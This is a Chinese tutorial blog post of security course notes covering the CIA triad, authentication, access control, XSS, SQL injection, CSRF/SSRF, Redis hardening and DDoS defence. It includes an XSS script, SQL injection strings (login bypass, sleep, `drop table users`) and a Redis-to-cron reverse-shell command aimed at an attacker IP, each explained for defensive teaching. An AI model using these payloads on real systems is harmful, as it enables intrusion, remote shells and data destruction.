Archives
Linux
Mysql
MongoB
MQ
FastDFS
Redis
ES
Docker
K8s
架构师
开源项目
工具
生活
说说
友链
弹吉他的兔子

飞天班第58节：安全攻防学习

2020/07/11

1. 安全是什么？

对于系统安全是没有意识的，一般都是在系统被攻击或数据泄漏后才意识到系统需要提前面对安全问题，任何应用的本质都是数据。安全的本质其实就是保护数据合法的被使用。

什么才叫合法的被使用，就要从几个方面来进行了解：机密性、完整性、可用性，这也是安全领域的最为基础的3个安全原则

经验：我们一般设计系统的用户权限角色分为三类（三员管理）：系统管理员、系统安全员、系统审计员

安全原则

机密性，完整性，可用性，可以简称CIA三元组。

机密性

用一句来概括就是确保数据只被授权的主题访问，不被任何未授权的主题访问，一个词总结：不可见

机密性的前提是明确授权规则

面临机密性攻击最大的问题就是人为原因导致的疏忽

完整性

完整性就是确保数据只被授权的主体进行授权的修改，简单来说，就是不可改

除了机密性提到的加密方式外，完整性更加强调修改行为的日志记录

可用性

可用性就是确保数据能够被授权的主体访问到。一句话：可读

一般来讲可用性都被从安全体系中拿出来

作业：结合公司自己的业务，并根据CIA原则，思考一下自己公司系统的安全规则

安全原则如何上手解决安全问题

安全设计的黄金法则

安全法则三部分

  • 认证（Authentication）
  • 授权（Authorization）
  • 审计（Audit）
  • 问责（Accounting）

组成了4A法则

认证、授权、审计，其实就是描述我们的用户在使用系统过程的生命周期：先登录，再操作，然后留下操作记录

  • 认证的强度由弱到强的排序
    • 你知道什么：密码，密保问题
    • 你拥有什么：门禁卡，安全令牌
    • 你是什么：生物特征，指纹，人脸，虹膜
  • 授权机制
    • 最原始和最安全的授权机制：每一次操作都经过管理人员的审批和确认
  • 审计和问责
    • 当你在授权下完成操作后，安全检查都需要对“做了什么”进行检查，这就是审计
    • 发现异常操作后就无法抵赖就可以问责了
    • 比如我们黑客通过不法手段进入系统，如果我们对他的操作进行记录，才具备提供响应证据的前提，通过法律途径维护自己的权益
  • 大部分情况下：事前防御属于认证，事中防御属于授权，事后防御属于审计

系统安全建设管理

  • 安全问题要自上而下的方式去推动和管理
  • 首先评估功能安全的优先级，划分一个阶段

思考

1、就当前系统，在认证，授权，审计方面有什么缺失，如何弥补

2、站在你所处的公司角度如何从上而下的去推行安全设计

如何让你的密码不可见

经典密码的算法

  • 对称加密
  • 非对称加密

对称加密

对称加密代表加密和解密使用的是同一个密钥

常见的经典对称加密算法：DES，IDEA，AES

非对称加密

非对称加密代表的是加密和解密使用的是不同的密钥

常用的非对称加密算法：RSA，ECC

除了账号密码外，我们还能做哪些身份认证

系统应用的各个部分都需要身份认证：对外认证和对内认证

如果你要存放这些服务器清单和密码，必须进行混淆，192.168.101.1/root/1183jfdka90j

身份认证主要面临的威胁

  • 无认证：内部认证会忽略认证
  • 弱密码：安全最大的敌人是人类的惰性，弱密码一般是有一套常用的密码破解字典的
  • 认证信息泄露的风险

可以验证一下你的邮箱密码是否安全：https://haveibeenpwned.com/

身份认证的安全保证

  • 安全不只是解决一个技术问题，还要培养用户的安全意识
  • 可以通过一些登录认证机制来保障系统安全：单点登录

思考

1、对现有公司的内部身份认证机制进行评估，有哪些漏洞可以进行优化的方面

如何选取一个合适的数据保护访问方案

数据访问控制模型

请求主体想要获取数据客体的内容（在请求的过程中进行访问控制）

  • 主体：请求的发起者，可以是用户，进程
  • 客体：接收请求方，一般是指某种资源，比如数据，文件，业务进程
  • 请求：主体对客体的操作

常见的访问控制机制

有4种：DAC、role-BAC、rule-BAC、MAC

  • DAC（Discretionary Access Control，自主访问控制）

DAC就是让客体的所有者来定义访问控制规则，DAC的特性就是将安全交到了用户手中，Linux的文件就是采用的DAC，用户可以控制自己的文件可以被谁访问。

  • role-BAC（role Based Access Control，基于角色的访问控制）

role-BAC就是将主体划分为不同的角色，然后对每个角色的权限做定义，role-BAC是可以防止权限泛滥，实现最小特权原则的经典解决方案。

  • rule-BAC（rule Based Access Control，基于规则的访问控制）

rule-BAC就是制定某种规则，将主体、请求、客体的信息结合在一起进行判断

  • MAC（Mandatory Access Control，强制访问控制）

主体和客体的资源访问标签要对应：机密性不能低读、高写，完整性不能高读、低写

评估威胁的步骤

首先评估目前存在哪些安全威胁

威胁评估主要有这三个步骤：识别数据、识别攻击、识别漏洞

2. Web安全的漏洞识别

XSS攻击

XSS（Cross-Site Scripting，跨站脚本攻击）

  • 反射型XSS
# 在可以录入文本并将该文本原样输出到网页的文本框中
<script>alert('xss');</script>
# get http://xxxx.com?search=<script>alert('xss');</script>
  • 基于DOM的XSS
  • 持久性的XSS
    • 通过外部录入的方式将一段脚本提交到系统后台数据库中
    • 在前端搜索这一段脚本，并使该脚本生效

黑客一旦通过XSS攻击，能做什么？

  • 窃取cookie

    可以获取用户相关认证信息

  • 未授权操作

  • 按键记录和钓鱼

如何进行XSS防护

  • 验证输入 OR 验证输出

    建议当进行展示的时候才对数据进行验证

  • 编码

    将<>转换成&lt，&gt浏览器能够识别的特殊字符

  • 检测和过滤

    1>0，可以正常访问的内容

思考

对公司当前系统，如果没有对XSS漏洞做保护，就进行制定规则进行保护

SQL注入

PrepareStatement

MyBatis #

  • SQL注入攻击是如何产生的

    黑客通过构造一些恶意的输入参数，在应用拼接SQL语句时，篡改SQL语言达到恶意修改系统的目的

注入方式：修改where语句

# web登录验证
String name = request.getParameter("username").toString();
String password = request.getParameter("password").toString();

String sql = "select * from users where username='"+name+"' and password='"+password+"'";

拼装后的SQL

select * from users where username='admin' and password='123456'
# 只要返回的行数是>=1,就表示登录成功了
select * from users where username='admin' and password ='1' or '1'='1';
# 只要在密码框输入：1' or '1'='1

执行任意语句

在原语句的基础上插入额外的SQL

select sleep(10) from dual;
select * from product where product_name='%abc'; select sleep(5) from dual where '1' like '1%';
select * from user where user_id=1;drop table users;

通过SQL注入攻击，黑客能做什么

  • 绕过验证
  • 任意篡改数据
  • 窃取数据：拖库，黑客通过SQL注入的手段获取数据库中的全部数据
select * from users where userid=1 union select * from users;
  • 消耗资源：sleep，while循环

如何防止SQL注入

1、使用PrepareStatement

实现防止注入效果，达到99.99%

String sql = "select * from users where userid=?";
PrepareStatement statement = connection.prepareStatement(sql);
statement.setInt(1,userid);

2、使用存储过程

3、验证输入

数据防护的核心原则：一切用户输入皆不可信，SQL注入的防护手段和XSS类似

  • SQL注入的攻击发生在输入的时候，因此我们可以在输入的时候进行防护和验证
  • 在程序逻辑里对数据进行一定处理
  • 一定要将数据的bin_log和备份机制进行开启，有条件的话挂载一个延时从库

CSRF/SSRF

CSRF跨站请求伪造

# 接口地址：https://bank.com/transfer
# HTTP Method: POST
# Args: 目标账户，金额
在进行明确的转账之前肯定是登录过的，通过cookie保存了相关的转账信息
# 使用cookie进行认证
# 参数重不包含任何隐私信息

即便是你的网站上没有任何注入漏洞，但只要接口配置不当，都有可以被CSRF利用，黑客只需要在自己的域名中搭建一个诱导性的网页，用户根本没有办法防止CSRF攻击，只能从应用本身去加强防护

如何防止CSRF攻击

只能增加我们校验的强度，我们个人要提高防范意识，只去安全的页面(加短信验证码)

SSRF服务端请求伪造

A（图片在B服务上），A从B服务上拿取图片资源，如果黑客将B替换成自己的URL，你的A–>访问C（黑客替换URL），这个时候A的所有可信请求都被C获取

这是就是SSRF实现的过程，就是我们常说的：内网穿透

  • 内网探测
  • 文件读取

SSRF防护如何做？

  • 白名单机制永远是最简单最高效的防护措施

Redis安全

Redis的设计初衷就是在一个可信的环境下进行KV数据的服务的，Redis在设计的时候就没有过多考虑安全性，可以说他可以的牺牲了一定的安全性来提升更高的性能

在安全性不高的情况下，可以直接连入Redis，可以通过flushdb，flushall，可以通过相应的命令将清空缓存的命令禁用或重命名

可以通过Redis作为跳板，通过Redis在服务器上执行Linux服务器相关的命令

# 设置一个kv的键值
set abc */1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.110>&1
# 利用redis的持久化机制来实现跳板
config set dir /var/spool/cron
# crontab对于无法解析的脚本直接跳过
crontab执行了redis持久化中你自己定义的value值了

如何将Redis的漏洞进行弥补

  • requirepass redis-123-pwd
  • Redis系统层级的命令一定要提前rename或将其注销
rename-command CONFIG "" # 注销命令
rename-command CONFIG "REDIS-CONFIG" # 将config重命名为redis-config
rename-command FLUSHDB ""
rename-command FLUSHALL ""
  • 尽量避免使用root用户来启动redis（最小权限原则）

3. DDoS攻击

拒绝服务攻击，非常损人不利己的方式

DDoS能对内网造成非常严重的影响，如何防护？目前来说，DDoS基本是不可防的，如果从服务端去做处理，识别到了无效访问，也只是避免CPU被耗尽，但带宽还是会被占用

所以DDoS的有效防御，一般放在DNS服务这一层通过云厂商来解决，基本都是依靠增加带宽来进行保障，第二个需要通过DNS过滤服务将无效的请求识别，或已经加入黑名单的IP直接弹回

cloudflare.com 专门处理DDoS服务攻击处理的，akamai.com 也是专门处理DDoS攻击（域名解析就要指向这些服务了）

如果依旧把这些请求放进来，可以使用Nginx来做第一层的403的拒绝服务，接下来就将IP请求的频次进行限流控制，注意返回的错误页面去到网站纯静态首页（防误杀，该静态页提前缓存到CDN节点上），也可以通过Redis+Lua脚本来实现（key:ip，value:timestamp，expire:150ms）先get有没有，如果有就直接跳到403防误杀的页面，如果没有就set值

Post Directory